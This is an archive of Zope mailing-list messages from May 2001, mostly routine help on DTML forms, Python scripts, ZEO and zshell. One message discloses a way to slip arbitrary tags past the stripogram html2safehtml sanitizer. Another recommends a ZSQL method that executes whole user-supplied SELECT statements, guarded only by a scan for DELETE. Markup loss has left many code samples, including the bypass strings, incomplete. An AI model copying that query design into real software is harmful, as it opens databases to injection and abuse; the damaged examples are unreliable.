it doesn't - it doesn't select anything. From marc@bowery.com Tue May 8 15:45:02 2001 From: marc@bowery.com (marc lindahl) Date: Tue, 08 May 2001 10:45:02 -0400 Subject: [Zope] Setting SELECTED in select box In-Reply-To: <3AF80109.E2DA3D3C@kaivo.com> Message-ID: > From: Casey Duncan > > ...or make them both strings right? From gitte@babytux.dk Tue May 8 15:48:40 2001 From: gitte@babytux.dk (Gitte Wange) Date: Tue, 8 May 2001 16:48:40 +0200 Subject: [Zope] Setting SELECTED in select box In-Reply-To: <3AF80109.E2DA3D3C@kaivo.com> References: <01050814485405.02171@squidbitch.mmmanager.org> <0105081605100A.02171@squidbitch.mmmanager.org> <3AF80109.E2DA3D3C@kaivo.com> Message-ID: <0105081648400C.02171@squidbitch.mmmanager.org> On Tuesday 08 May 2001 16:22, Casey Duncan wrote: > Gitte Wange wrote: > > Well I think you are right - this could be the problem. > > > > But then - how do I make the test to see if they are identical ? > > fileid proparly is a string and id is an int ... can I convert one of > > them - if so, how? > > > > Gitte > > > > On Tuesday 08 May 2001 15:59, Laurie Nason wrote: > > > Have you tried checking to see if one of your 27's is a string and one > > > is a number? I seem to remember that I had this problem before, if I > > > find it I will let you know > > > > > > BTW - you could make the Selected a little snazzier by doing the > > > following.... saves on a few if statements > > > > > > SELECT NAME="fileid" SIZE="1"> > > > > > > > > > > > > > > > > > > > > > > > You can convert either automatically using marshalling or using _.int(): > > [Notice the line feed before the
...] Upon submission, manage_edit does a self.setKeys(REQUEST['keywords']), where setKeys() accepts a list, then removes duplicate entries, and goes through the resulting de-duplicated list of words, and uses a list append() method to add each entry. Upon submission of this form, however, it adds an empty string as the 1st element of the list. This doesn't happen when unit testing my python code for my setKeys() method from the python shell. What I am guessing is happening is that there is a blank line inserted AT THE END of the textarea. This is then shifted to the front when my code runs a sort() on the list as part of the de-duplication process. My de-duplication code: def deDupe(self): """Scans through keyword list and de-dupes multiple entries for the same keyword""" #3 things: 2 loops and a sort, plus recursion via the 2nd loop - inefficient, but works for kw in self.keywords: if (self.keywords.count(kw) > 1): #If duplicate(s) of current kw, get rid of this one self.keywords.remove(kw) #technically, this removes 1st instance in list, this works #now, check for more duplicates, since above sometimes won't work in cases of several repreats for kw in self.keywords: if (self.keywords.count(kw) > 1): self.deDupe() self.keywords.sort() #sort the list I figure that I could incorporate code to get rid of "empty" list entries. Is there an easier way to do this? The extra line feed at the end of the text area ends up being a nuisance, but I'm not sure if there is a way to get the DTML to output HTML just right so it works. I suppose that others have encountered this weirdness before. Thoughts? Sean ========================= Sean Upton Senior Programmer/Analyst SignOnSanDiego.com The San Diego Union-Tribune 619.718.5241 sean.upton@uniontrib.com ========================= From dingx@web.de Tue May 8 19:40:19 2001 From: dingx@web.de (Stefan Berthold) Date: Tue, 8 May 2001 20:40:19 +0200 Subject: [Zope] login, permission and REQUEST env Message-ID: <01050820401901.00432@nexus> Hi! I'm trying to manage a school-paper homepage with zope... during the last two weeks I got several problems that I couldn't solve with zope book and other documentation... hope there's somebody who have some answers: (1) For article management I need to login some users but this (let's call them) editors don't need the permission to view management screens (they will use html-formulars to manage their articles)... till now I couldn't find a way to login users without this permission (e.g. through a regular html-form and a dtml method). (2) Owners of dtml documents usually have the permission to change and delete their documents... but how can I discover if somebody have this (implicitly) given Owner role? (3) (Not just) For a kind of skin technology I need parameters that are user specific (REQUEST variables)... to set and analyse them may be no problem - but how can include new parameters to the old URL without deleting the old parameters? What I need is a way to add parameters to the REQUEST environment... If there are some hints in the official documentation I would be very interested in... otherwise I hope somebody can help with some smart examples or a hint. -- Stefan Berthold Zivilist in Lauerstellung GnuPG: 4222 F68D E39F FE43 423A 5624 3A3D F1D7 4EF0 C45A FAX/VoiceBox: +49 180 50529 6341739 From jmce@artenumerica.com Tue May 8 20:25:00 2001 From: jmce@artenumerica.com (J M Cerqueira Esteves) Date: Tue, 8 May 2001 20:25:00 +0100 Subject: [Zope] Squishdot 1.1.0 (stripogram.py): HTML filtering problems In-Reply-To: <3AF7343A.D187EB7@nipltd.com>; from chrisw@nipltd.com on Tue, May 08, 2001 at 12:48:10AM +0100 References: <3AF7343A.D187EB7@nipltd.com> Message-ID: <20010508202459.J21247@esoterica.pt> On Tue, May 08, 2001 at 12:48:10AM +0100, Chris Withers wrote: > - HTML parsing now done using the Strip-o-Gram library. A few minutes ago, I made a few tests with the html2safehtml function in stripogram.py and found that it is possible to force inclusion of arbitrary tags in the output text. html2safehtml ('Roses are red,
violets are blue', valid_tags=['b', 'i', 'br']) returns 'Roses are red,
violets are blue' as expected, but html2safehtml ('Roses are red,
violets are blue', valid_tags=['b','i','br']) returns 'Roses are red,
>violets are blue' Notice that the (valid for XHTML) '
' becomes '
>' and the closing '
' at the end comes out as... ''. But it gets more interesting: the result of html2safehtml ('Roses are red,
violets are blue', valid_tags=['b','i','br']) is 'Roses are red,
QUACK>violets are blue' inspiring one to write html2safehtml ('Roses are red,
violets are blue', valid_tags=['b','i','br']) getting 'Roses are red,
violets are blue' or even html2safehtml ('Roses are red,
QUACK violets ' 'are blue', valid_tags=['b','i','br']) successfully smuggling a ... inside the result: 'Roses are red,
QUACK violets are blue' (Notice that the closing '
' is now OK again, and that I had to use '' in order to get ''. Maybe a problem with sgmllib? I have no time for further tests now... -- jmce: +351 919838775 ~ http://jmce.artenumerica.org/ From dieter@handshake.de Tue May 8 19:51:14 2001 From: dieter@handshake.de (Dieter Maurer) Date: Tue, 8 May 2001 20:51:14 +0200 (CEST) Subject: [Zope] [Fwd: [ez] Translating Zope] In-Reply-To: <360564326@toto.iv> Message-ID: <15096.16418.891085.829038@lindm.dm> E. Seifert writes: > .... consolidated Zope terminology as common base for translations .... A very good idea! This terminology could also become part of a Zope book, e.g. as a glossary. Dieter From dieter@handshake.de Tue May 8 19:53:23 2001 From: dieter@handshake.de (Dieter Maurer) Date: Tue, 8 May 2001 20:53:23 +0200 (CEST) Subject: [Zope] site-packages In-Reply-To: <662057318@toto.iv> Message-ID: <15096.16547.645485.556550@lindm.dm> oivvio polite writes: > ... > import testmodule > ... > Error Type: ImportError > Error Value: No module named testmodule > > > The module testmodule is in the site-packages of my python installation. > and importing it from any normal python program is no problem. Zope's startup script sometimes defines "PYTHONHOME". The result could be that Zope looks at a different place for "site-packages" than you expect. Dieter From dieter@handshake.de Tue May 8 19:59:37 2001 From: dieter@handshake.de (Dieter Maurer) Date: Tue, 8 May 2001 20:59:37 +0200 (CEST) Subject: [Zope] Changing of the SQL guard In-Reply-To: <904395259@toto.iv> Message-ID: <15096.16921.613156.826068@lindm.dm> Paul Zwarts writes: > ... > The problem I'm faced with is that I have to reidentify all > of the connections that each ZSQL method addresses to the adapter. Instead > of manually changing each one (which are too many to count), is there a way > I can do them all at once? I am not sure what you want to achieve. If you want to change the ZSQL connection id's, you could use an external method together with "ZopeFind" (--> ZQR). "ZopeFind" would return a list of all Z SQL methods. You would apply your external method to each such object. The method would set "connection_id" to a new id. Dieter From dieter@handshake.de Tue May 8 19:48:42 2001 From: dieter@handshake.de (Dieter Maurer) Date: Tue, 8 May 2001 20:48:42 +0200 (CEST) Subject: [Zope] External method default arg weirdness In-Reply-To: <493338754@toto.iv> Message-ID: <15096.16266.317370.302060@lindm.dm> Paul Winkler writes: > This is with Zope 2.2.2. > If I give a default argument to the external method, and call it > from a dtml method, the default gets used even if I pass the > argument. > > Example: Try creating two external methods and calling them like > this from standard_html_footer. > > > > > > Here are the two external method definitions: > > def my_ext_method1(id): > return "
%s" % id > > def my_ext_method2(id="oops"): > return "
%s" % id > > > > Anybody else get this? Why does it do that? I know this only, if the first parameter is called "self". We use default parameters regularly (in Zope 2.1.6) and they work as expected. Dieter From bortzmeyer@netaktiv.com Tue May 8 20:53:18 2001 From: bortzmeyer@netaktiv.com (Stephane Bortzmeyer) Date: Tue, 8 May 2001 21:53:18 +0200 Subject: [Zope] HTML forms: how to get the value of an unchecked checkbox? In-Reply-To: ; from marc@bowery.com on Mon, May 07, 2001 at 10:43:10AM -0400 References: <20010507161947.A13214@internatif.org> Message-ID: <20010508215318.A30015@internatif.org> On Mon, May 07, 2001 at 10:43:10AM -0400, marc lindahl wrote a message of 9 lines which said: > parameters=beverage="",sugar=0,milk=0,RESPONSE I already tried (it would be better to have a normal HTML form, so that any HTML author can edit it, and to keep all Zope-specific stuff in the Python script) but: SyntaxError: non-default argument follows default argument From marc@bowery.com Tue May 8 21:02:03 2001 From: marc@bowery.com (marc lindahl) Date: Tue, 08 May 2001 16:02:03 -0400 Subject: [Zope] HTML forms: how to get the value of an unchecked checkbox? In-Reply-To: <20010508215318.A30015@internatif.org> Message-ID: > >> parameters=beverage="",sugar=0,milk=0,RESPONSE > > I already tried (it would be better to have a normal HTML form, so > that any HTML author can edit it, and to keep all Zope-specific stuff > in the Python script) but: > > SyntaxError: non-default argument follows default argument Right... parameters= RESPONSE, bevarage="", sugar=0, milk=0 just an ordering problem, I think... From bortzmeyer@netaktiv.com Tue May 8 21:10:03 2001 From: bortzmeyer@netaktiv.com (Stephane Bortzmeyer) Date: Tue, 8 May 2001 22:10:03 +0200 Subject: [Zope] HTML forms: how to get the value of an unchecked checkbox? In-Reply-To: <004801c0d7c8$385e5070$38a3f1ce@mitretek.org>; from tpassin@mitretek.org on Tue, May 08, 2001 at 10:07:30AM -0400 References: <20010507154837.A11871@internatif.org> <008401c0d701$2e7ac1f0$38a3f1ce@mitretek.org> <20010507163113.B13607@internatif.org> <004801c0d7c8$385e5070$38a3f1ce@mitretek.org> Message-ID: <20010508221003.B30015@internatif.org> On Tue, May 08, 2001 at 10:07:30AM -0400, Thomas B. Passin wrote a message of 38 lines which said: > > My script cannot check because parameters are apparently tested by > > Zope before the first line of the script is executed. > > > I don't quite know what you are referring to here. When you declare parameters to a Python Script, the existence of these parameters is tested by Zope before your script gets executed. So, you cannot check them in your script, they have to be right in the first place. Here is the declaration: ## Script (Python) "handleForm" ##bind container=container ##bind context=context ##bind namespace=REQUEST ##bind script=script ##bind subpath=traverse_subpath ##parameters=beverage,sugar,milk,RESPONSE ##title= ## RESPONSE.setHeader('Content-Type', 'text/html') if milk: milk = " with milk" else: ... > The form data is > contained in the REQUEST object (i.e., REQUEST.form). I assure you that all > the form data from the checkboxes and so on will be in the REQUEST. Zope OK, the examples in the Zope Book (is there a better source of information?) do not mention it, they use parameters of the script. I cannot find REQUEST.form in the Zope API at the end of the Zope book. But, now that I know it exists, a search in zope.org produced severl examples. I have now a better version, where the form is 100% standard HTML form, and the script is: ## Script (Python) "handleForm" ##bind container=container ##bind context=context ##bind namespace=REQUEST ##bind script=script ##bind subpath=traverse_subpath ##parameters=beverage,RESPONSE,REQUEST ##title= ## RESPONSE.setHeader('Content-Type', 'text/html') if REQUEST.form.has_key('milk'): milk = " with milk" else: milk = "" if REQUEST.form.has_key('sugar'): sugar = " with sugar" else: sugar = "" return "

You asked for " + beverage + sugar + milk Funny there are so many ways to do something so simple. Thanks a lot, I find it much better now. From richard@dcs.co.uk Tue May 8 20:29:17 2001 From: richard@dcs.co.uk (Richard Moon) Date: Tue, 08 May 2001 20:29:17 +0100 Subject: [Zope] Accessing ZSQL Methods from outside Zope Message-ID: <4.3.2.7.2.20010508202528.024cd7c0@195.60.12.162> I've got a Zope site (www.tunedb.org) with a MySQL backend and a load of data. People are asking me if they can connect to that database (read-only) somehow, perhaps using the SQL queries I have already set up, or perhaps by writing their own queries and accessing MySQL directly. Has anyone done anything like this ? Can you point me in the right direction ? Many thanks Richard Richard Moon richard@dcs.co.uk From philippe.jadin@123piano.com Tue May 8 21:13:45 2001 From: philippe.jadin@123piano.com (Philippe Jadin) Date: Tue, 8 May 2001 22:13:45 +0200 Subject: [Zope] [Fwd: [ez] Translating Zope] References: <3AF7D2C7.3090600@gmx.net> Message-ID: <012901c0d7fe$7e747400$dd9a043e@r3g4p8> As I already proposed, this would need an abstraction layer for the management interface, providing skins such as translations, javascript enhanced interface, etc... Because else all the work would be wasted each time a new version would be released... Philippe (who like abstraction) > As Zope gains popularity translations are necessary to help non-english speakers > to better understand Zope. Therefore an important goal should be to keep these > translations consistent over various ressources. To reach that goal I would > propose a project to provide translator with zope vocabulary in their language. > The words should be proposed, discussed and finally fixed in an official list of > translations. This would be a great relief for all translators and will make > translations more homogeneous and thus understandable for readers. From tino@wildenhain.de Tue May 8 21:39:53 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Tue, 08 May 2001 22:39:53 +0200 Subject: [Zope] Problem w/ lines-->List in edit form In-Reply-To: References: Message-ID: <16767596.989361593@BUZZER> Hi sean, I would use the following code: def deDupe(self): keywords=[] for kw in self.keywords: if kw and not kw in keywords: keywords.append(kw) keywords.sort() self.keywords=keywords Assuming your empty line is really empty. HTH Tino Wildenhain --On Dienstag, 8. Mai 2001 11:55 -0700 sean.upton@uniontrib.com wrote: > Weird problem I am having with "lines" properties, mapping them to a > python list in a product. > > In a python product I'm working on, one class property in my primary class > is a python list (well, an enhanced list class instance based upon a > python list for underlying storage). This keyword class has a method > called asTuple() which returns the list as a tuple; this is used to fill > a DTML edit form textarea that uses "lines" as a type for the request > object upon submission. This seems to work right, doing this: > > > > [Notice the line feed before the ...] > > Upon submission, manage_edit does a self.setKeys(REQUEST['keywords']), > where setKeys() accepts a list, then removes duplicate entries, and goes > through the resulting de-duplicated list of words, and uses a list > append() method to add each entry. > > Upon submission of this form, however, it adds an empty string as the 1st > element of the list. This doesn't happen when unit testing my python code > for my setKeys() method from the python shell. > > What I am guessing is happening is that there is a blank line inserted AT > THE END of the textarea. This is then shifted to the front when my code > runs a sort() on the list as part of the de-duplication process. My > de-duplication code: > > def deDupe(self): > """Scans through keyword list and de-dupes multiple entries for > the same keyword""" > #3 things: 2 loops and a sort, plus recursion via the 2nd loop - > inefficient, but works > for kw in self.keywords: > if (self.keywords.count(kw) > 1): #If duplicate(s) of > current kw, get rid of this one > self.keywords.remove(kw) #technically, this > removes 1st instance in list, this works > #now, check for more duplicates, since above sometimes won't work > in cases of several repreats > for kw in self.keywords: > if (self.keywords.count(kw) > 1): > self.deDupe() > self.keywords.sort() #sort the list > > I figure that I could incorporate code to get rid of "empty" list entries. > Is there an easier way to do this? The extra line feed at the end of the > text area ends up being a nuisance, but I'm not sure if there is a way to > get the DTML to output HTML just right so it works. I suppose that others > have encountered this weirdness before. Thoughts? > > Sean > > ========================= > Sean Upton > Senior Programmer/Analyst > SignOnSanDiego.com > The San Diego Union-Tribune > 619.718.5241 > sean.upton@uniontrib.com > ========================= > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From tino@wildenhain.de Tue May 8 21:42:30 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Tue, 08 May 2001 22:42:30 +0200 Subject: [Zope] [Fwd: [ez] Translating Zope] In-Reply-To: <012901c0d7fe$7e747400$dd9a043e@r3g4p8> References: <012901c0d7fe$7e747400$dd9a043e@r3g4p8> Message-ID: <16924786.989361750@BUZZER> Hi Philippe, --On Dienstag, 8. Mai 2001 22:13 +0200 Philippe Jadin wrote: > As I already proposed, this would need an abstraction layer for the > management interface, providing skins such as translations, javascript > enhanced interface, etc... > > Because else all the work would be wasted each time a new version would be > released... > > Philippe (who like abstraction) Thats what I say all the time :-) We need a layer which isolates any user-interaction from application code. Regards Tino Wildenhain From Larry_Prikockis@ABI.org Tue May 8 21:52:40 2001 From: Larry_Prikockis@ABI.org (Larry Prikockis) Date: Tue, 8 May 2001 16:52:40 -0400 Subject: [Zope] user authentication against a Radius server Message-ID: Hi all-- I've been fiddling around with replacing the standard acl_users folder with something that will authenticate users against an external radius server we already have (Radiator). My understanding is that I need the LoginManager and Zradius products-- I have these installed and working (?) properly. In fact, I can successfully use the ZRadius product to process authentication requests... What I'm not quite clear on is exactly how I go about setting up a Zope users folder that utilizes these products. Could someone provide at least the rough outline of the steps I need to take. I'm just beginning to learn Python, so I'm hoping this can be done without any substantial programming.... perhaps not? thanks for any hints... + Larry J. Prikockis Web Applications Specialist Association for Biodiversity Information 703-908-1833 / larry_prikockis@abi.org / www.abi.org + All parts should go together without forcing. You must remember that the parts you are reassembling were disassembled by you. Therefore, if you can't get them together again, there must be a reason. By all means, do not use a hammer. -- IBM maintenance manual, 1925 From philippe.jadin@123piano.com Tue May 8 22:02:22 2001 From: philippe.jadin@123piano.com (Philippe Jadin) Date: Tue, 8 May 2001 23:02:22 +0200 Subject: [Zope] [Fwd: [ez] Translating Zope] References: <012901c0d7fe$7e747400$dd9a043e@r3g4p8> <16924786.989361750@BUZZER> Message-ID: <021101c0d803$1be88a60$dd9a043e@r3g4p8> > Thats what I say all the time :-) > We need a layer which isolates any user-interaction from > application code. We were pretty close to this with the release of the so called zope beans (xml description of products interractions), but I heard nothing about them after this first release. Let's hope some zope guru will propose an inovative solution ;-) Philippe From tino@wildenhain.de Tue May 8 22:13:26 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Tue, 08 May 2001 23:13:26 +0200 Subject: [Zope] [Fwd: [ez] Translating Zope] In-Reply-To: <021101c0d803$1be88a60$dd9a043e@r3g4p8> References: <021101c0d803$1be88a60$dd9a043e@r3g4p8> Message-ID: <18780501.989363606@BUZZER> Hi again :) --On Dienstag, 8. Mai 2001 23:02 +0200 Philippe Jadin wrote: >> Thats what I say all the time :-) >> We need a layer which isolates any user-interaction from >> application code. > > We were pretty close to this with the release of the so called zope beans > (xml description of products interractions), but I heard nothing about > them after this first release. > > Let's hope some zope guru will propose an inovative solution ;-) Sure, I'm thinking of it for a long time now :-) Regards Tino From andym@ActiveState.com Tue May 8 22:43:53 2001 From: andym@ActiveState.com (Andy McKay) Date: Tue, 8 May 2001 14:43:53 -0700 Subject: [Zope] Great quote Message-ID: <00a601c0d807$fa00a1d0$ae03a8c0@activestate.com> Just in a meeting and discussing future options of some sites and I said "oh Zope can do that". The response someone gave was "Zope is the new Emacs". :) Cheers. -- Andy McKay. From chrism@digicool.com Tue May 8 23:03:33 2001 From: chrism@digicool.com (Chris McDonough) Date: Tue, 08 May 2001 18:03:33 -0400 Subject: [Zope] Great quote References: <00a601c0d807$fa00a1d0$ae03a8c0@activestate.com> Message-ID: <3AF86D35.CA69F7CD@digicool.com> As long as they weren't a vi user, that's a compliment. ;-) Andy McKay wrote: > > Just in a meeting and discussing future options of some sites and I said "oh > Zope can do that". The response someone gave was "Zope is the new Emacs". :) > > Cheers. > -- > Andy McKay. > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From tpassin@mitretek.org Tue May 8 23:13:18 2001 From: tpassin@mitretek.org (Thomas B. Passin) Date: Tue, 8 May 2001 18:13:18 -0400 Subject: [Zope] Accessing ZSQL Methods from outside Zope References: <4.3.2.7.2.20010508202528.024cd7c0@195.60.12.162> Message-ID: <00c801c0d80c$1606b780$38a3f1ce@mitretek.org> [Richard Moon] > I've got a Zope site (www.tunedb.org) with a MySQL backend and a load of > data. People are asking me if they can connect to that database (read-only) > somehow, perhaps using the SQL queries I have already set up, or perhaps by > writing their own queries and accessing MySQL directly. > > Has anyone done anything like this ? Can you point me in the right direction ? > Sure, it's not hard to do. Create a ZSQL method that takes one parameter. That parameter would be a complete select statement. Your method will thus be able to execute any query against the database. Your main dtml page calls the ZSQL method with this parameter. Or better, and what I usually do, use another DHTML method to take the form data and create the query from it. Then pass that query to the ZSQL method. I even have pages where I do nested queries and can perform inserts and updates, all by reusing the same generic ZSQL method. You can use the methods discussed a few weeks ago on the list to find out the column names so you can create a table to fit the returned data without knowing the exact query beforehand. I do this all the time (I only learned how to do it in Zope a few weeks ago, but I've been doing it in Cold Fusion for years). Of course, you don't really want to allow anyone to have any kind of access, but you can build up a query based on form data. I recommend providing custom queries you create based on what your users want. This is the safest way to proceed, since you can make sure that only those queries are executed. Or give them a textarea input and let them write their own select statements if they know how. But make sure you scan the returned select statements to make sure they can't do anything you don't want, like DELETE! This can be fun, and your users will really appeciate it. Let us know how it comes out. Cheers, Tom P From tpassin@mitretek.org Tue May 8 23:16:26 2001 From: tpassin@mitretek.org (Thomas B. Passin) Date: Tue, 8 May 2001 18:16:26 -0400 Subject: [Zope] HTML forms: how to get the value of an unchecked checkbox? References: <20010507154837.A11871@internatif.org> <008401c0d701$2e7ac1f0$38a3f1ce@mitretek.org> <20010507163113.B13607@internatif.org> <004801c0d7c8$385e5070$38a3f1ce@mitretek.org> <20010508221003.B30015@internatif.org> Message-ID: <00cf01c0d80c$86212460$38a3f1ce@mitretek.org> [Stephane Bortzmeyer] > Thomas B. Passin wrote > > The form data is > > contained in the REQUEST object (i.e., REQUEST.form). I assure you that all > > the form data from the checkboxes and so on will be in the REQUEST. Zope ... > >I have now a better version, where the form is 100% > standard HTML form, and the script is: > ... > if REQUEST.form.has_key('milk'): > milk = " with milk" > else: > milk = "" > if REQUEST.form.has_key('sugar'): > sugar = " with sugar" > else: > sugar = "" > return "

You asked for " + beverage + sugar + milk > [Tom] OK, you've got it. Well done. Cheers, TomP From tanepiper@hotmail.com Tue May 8 23:27:53 2001 From: tanepiper@hotmail.com (Tane Piper) Date: Wed, 9 May 2001 00:27:53 +0200 Subject: [Zope] [ANN] References for PalmOS Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_000B_01C0D81E.E2C2A740 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have just released a zip file containing the DTML and API references = from the Zope Book, in a handy iSilo format for the PalmOS. You can grab it at = http://tanepiper.zopesite.com/squishdot/stuff/zopepalmref.zip, while you = can grab iSilo http://www.isilo.com. Tane Piper Lead Designer - ZZICT Entertainment http://www.zzict.nl ------=_NextPart_000_000B_01C0D81E.E2C2A740 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

I have just released a zip file = containing the DTML=20 and API references from the Zope Book, in a handy iSilo format for the=20 PalmOS.
 
You can grab it  at ht= tp://tanepiper.zopesite.com/squishdot/stuff/zopepalmref.zip,=20 while you can grab iSilo http://www.isilo.com.
 
Tane Piper
Lead Designer - ZZICT=20 Entertainment
http://www.zzict.nl
<= /HTML> ------=_NextPart_000_000B_01C0D81E.E2C2A740-- From fritz.mesedilla@summitmedia.com.ph Wed May 9 09:09:36 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Wed, 9 May 2001 16:09:36 +0800 Subject: [Zope] zope and zeo Message-ID: please help!!! all of a sudden zope won't start with zeo. what i mean is that the processes are running when doing "ps aux" but when you browse the site it doesn't wnat to load. it used to load then all of a sudden after two weeks of successful running i can't see the website. now i was able to make the management site come out in the browser but the left navigational bar doesn't want to load. plese advice. i'm using zope 2.3.2 and zeo 1.0b1 Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord From harald.koschinski@friatec.de Wed May 9 09:06:08 2001 From: harald.koschinski@friatec.de (Harald Koschinski) Date: Wed, 09 May 2001 10:06:08 +0200 Subject: [Zope] [zshell] ANN: 0.5 with wildcard expansion References: <20010508004040.B1199@nordine.ateur> <000b01c0d7b4$e44fe420$c3090740@megapathdsl.net> <989323821.1265.6.camel@basajaun> Message-ID: <3AF8FA70.5F78178B@friatec.de> Dies ist eine mehrteilige Nachricht im MIME-Format. --------------BDE093565898CF62C5AA0E54 Content-Type: multipart/alternative; boundary="------------501352F21B03B0D76814B712" --------------501352F21B03B0D76814B712 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Arkaitz Bitorika wrote: > On 08 May 2001 07:49:07 -0400, Jason Cunliffe wrote: > > Jerome > > > > Dying to try out new features, but so far I have not been able make e= ither > > 0.4 or 0.5 work > > > > It installs OK adn look nice > > Zope sees jaxml. I did a separate test from another script to be sure= =2E > > > > But try any command + RUN then it just hangs... :-( > > It happens the same to me. > I'm running Zope 2.3.2 from source on Red Hat 7.1 and Python 1.5.2. Same for me: Zope 2.3.2 from source, SuSE 6.4 and Python 1.5.2 jaxml-2.22 > > > Cheers, > Arkaitz. > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) -- Mit freundlichen Gr=FC=DFen Harald Koschinski _____________________________________________________________________ FRIATEC Aktiengesellschaft Informationssysteme und Organisation Tel. 0621 - 486 - 1454 Fax. 0621 - 486 - 1840 Steinzeugstrasse 50 mailto:harald.koschinski@friatec.de D-68229 Mannheim --------------501352F21B03B0D76814B712 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Arkaitz Bitorika wrote:
On 08 May 2001 07:49:07 -0400, Jason Cunliffe wrote:
> Jerome
>
> Dying to try out new features, but so far I have not been able make either
> 0.4 or 0.5 work
>
> It installs OK adn look nice
> Zope sees jaxml. I did a separate test from another script to be sure.
>
> But try any command + RUN then it just hangs... :-(

It happens the same to me.
I'm running Zope 2.3.2 from source on Red Hat 7.1 and Python 1.5.2.

Same for me:
Zope 2.3.2 from source, SuSE 6.4 and Python 1.5.2  jaxml-2.22
 
 

Cheers,
Arkaitz.

_______________________________________________
Zope maillist  -  Zope@zope.org
http://lists.zope.org/mailman/listinfo/zope
**   No cross posts or HTML encoding!  **
(Related lists -
 http://lists.zope.org/mailman/listinfo/zope-announce
 http://lists.zope.org/mailman/listinfo/zope-dev )

-- 
Mit freundlichen Grüßen

Harald Koschinski
_____________________________________________________________________

FRIATEC Aktiengesellschaft
Informationssysteme und Organisation            
Tel. 0621 - 486 - 1454
Fax. 0621 - 486 - 1840
Steinzeugstrasse 50
mailto:harald.koschinski@friatec.de
D-68229 Mannheim
  --------------501352F21B03B0D76814B712-- --------------BDE093565898CF62C5AA0E54 Content-Type: text/x-vcard; charset=us-ascii; name="harald.koschinski.vcf" Content-Transfer-Encoding: 7bit Content-Description: Karte für Harald Koschinski Content-Disposition: attachment; filename="harald.koschinski.vcf" begin:vcard n:Koschinski;Harald tel;fax:06214861840 tel;work:06214861454 x-mozilla-html:FALSE url:http://www.friatec.de org:Friatec AG;Informationssysteme und Organisation adr:;;Steinzeugstraße ;Mannheim;;68229;Germany version:2.1 email;internet:harald.koschinski@friatec.de x-mozilla-cpt:;0 fn:Harald Koschinski end:vcard --------------BDE093565898CF62C5AA0E54-- From chrisw@nipltd.com Wed May 9 09:28:57 2001 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 09 May 2001 09:28:57 +0100 Subject: [Zope] sgmllib.py problem? References: <3AF7343A.D187EB7@nipltd.com> <20010508202459.J21247@esoterica.pt> Message-ID: <3AF8FFC9.6570BDAA@nipltd.com> J M Cerqueira Esteves wrote: > Wow! Thanks for that, I'll add them all to the test suite when I get a chance :-) > (Notice that the closing '
' is now OK again, and that I had to use > '' in order to get ''. > > Maybe a problem with sgmllib? I have no time for further tests now... ...now to get it working ;-) The problem with
and the like could easily be in my code, but it feels more like an sgmllib.py problem. I wonder if anyone knows where to look to fix this? Can someone on the python list ask there and let me know how it goes? If I haven't heard anything the next time I get free time, I'll have to re-subscribe to it and ask myself :-S cheers, Chris From alet@unice.fr Wed May 9 09:33:07 2001 From: alet@unice.fr (Jerome Alet) Date: Wed, 9 May 2001 10:33:07 +0200 (MET DST) Subject: Try this devel version, was: Re: [Zope] [zshell] ANN: 0.5 with wildcard expansion In-Reply-To: <3AF8FA70.5F78178B@friatec.de> Message-ID: This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --889292347-547328792-989397187=:12772 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, Arkaitz Bitorika wrote: > > On 08 May 2001 07:49:07 -0400, Jason Cunliffe wrote: > > > Jerome > > > > > > Dying to try out new features, but so far I have not been able make either > > > 0.4 or 0.5 work > > > > > > It installs OK adn look nice > > > Zope sees jaxml. I did a separate test from another script to be sure. > > > > > > But try any command + RUN then it just hangs... :-( > > > > It happens the same to me. > > I'm running Zope 2.3.2 from source on Red Hat 7.1 and Python 1.5.2. > Same for me: > Zope 2.3.2 from source, SuSE 6.4 and Python 1.5.2 jaxml-2.22 When you say it "HANGS", what is hanging ? Is it Zope which completely stops to answer your queries (Zope dies) ? Does the zshell redisplays itself when you click on "Run" but does nothing ? What browser do you use ? Here it's NS 4.72, 4.75, 4.76 and Konqueror 2.1.1 on multiple different machines but all Debian GNU/Linux potato and woody with Zope 2.3.2 compiled from sources and python 1.5.2 compiled from sources or installed from Debian packages. What command did you try ? As which user were you running zshell ? Please everyone try to describe the problem the more precisely possible, because I can't reproduce it ? And BTW, does the attached version solves the problem ? The attached document is a 0.6beta1 version gzipped zshell.py, replace the one you've already with this one and test again. WARNING: this devel version does some security checks, so it's now safer, thanks to Michel@DC. Please report problems ASAP. Jerome Alet - alet@unice.fr --889292347-547328792-989397187=:12772 Content-Type: APPLICATION/octet-stream; name="zshell.py.gz" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: gzipped zshell 0.6beta1 